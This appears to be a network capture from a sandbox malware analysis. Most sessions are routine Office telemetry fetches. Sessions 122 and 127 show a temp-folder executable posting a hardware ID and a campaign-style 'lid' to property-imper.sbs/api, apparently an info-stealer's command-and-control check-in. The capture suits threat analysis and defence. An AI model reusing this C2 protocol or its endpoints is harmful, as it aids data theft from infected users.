2024-11-23 10:22:47 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:47 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102247Z-178bfbc474bv587zhC1NYCny5w0000000450000000009qx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:47 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:49 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102248Z-174c587ffdf7t49mhC1TEB4qbg00000002ug000000000gnx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:48 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 45241df0-c01e-00a1-1a4f-3c7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102249Z-178bfbc474b9xljthC1NYCtw94000000044000000000e48y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:49 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:49 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102249Z-178bfbc474bgvl54hC1NYCsfuw000000047000000000d30m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:49 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:49 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:49 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102249Z-174c587ffdfn4nhwhC1TEB2nbc00000002w0000000008mdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:49 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:49 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:50 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 2a22b5b9-701e-0053-7b80-3d3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102250Z-15b8b599d88tmlzshC1TEB4xpn00000002s000000000456k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 10:22:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49884	172.67.162.84	443	5272	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:50 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=28SH77SWCGNZW8HBP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13256 Host: property-imper.sbs
2024-11-23 10:22:50 UTC	13256	OUT	Data Raw: 2d 2d 32 38 53 48 37 37 53 57 43 47 4e 5a 57 38 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 32 38 53 48 37 37 53 57 43 47 4e 5a 57 38 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 38 53 48 37 37 53 57 43 47 4e 5a 57 38 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --28SH77SWCGNZW8HBPContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--28SH77SWCGNZW8HBPContent-Disposition: form-data; name="pid"2--28SH77SWCGNZW8HBPContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 10:22:50 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=241nmu9i3co4b25fmutgb7a3th; expires=Wed, 19-Mar-2025 04:09:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEXpnVzAc2bO8IvzWCD9uUqk71VzNVapKmRewtJV6HfD0UJpF0jv7HHsKbiH48oUHXlwpGJY2D7QPCwz96BR943j%2FX07lGTANi0Et5c0qDplRVRmWUsQ8dC0kc9m2gP88tTcSsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7070bbd9d4c333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=14197&delivery_rate=1698662&cwnd=143&unsent_bytes=0&cid=0c0dd01716dccfb6&ts=859&x=0"
2024-11-23 10:22:50 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:51 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102251Z-15b8b599d882l6clhC1TEBxd5c00000002kg00000000ebpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:51 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:51 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:51 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102251Z-178bfbc474bpnd5vhC1NYC4vr4000000047g00000000cbry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:51 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:51 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:51 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 650b08ff-201e-0033-5b2f-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102251Z-178bfbc474bpscmfhC1NYCfc2c00000002tg00000000fbn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:51 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:51 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102252Z-174c587ffdfn4nhwhC1TEB2nbc00000002ug00000000d0ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49893	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 10:22:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=96343B797F59BCACD7CBBD6DF28D3732
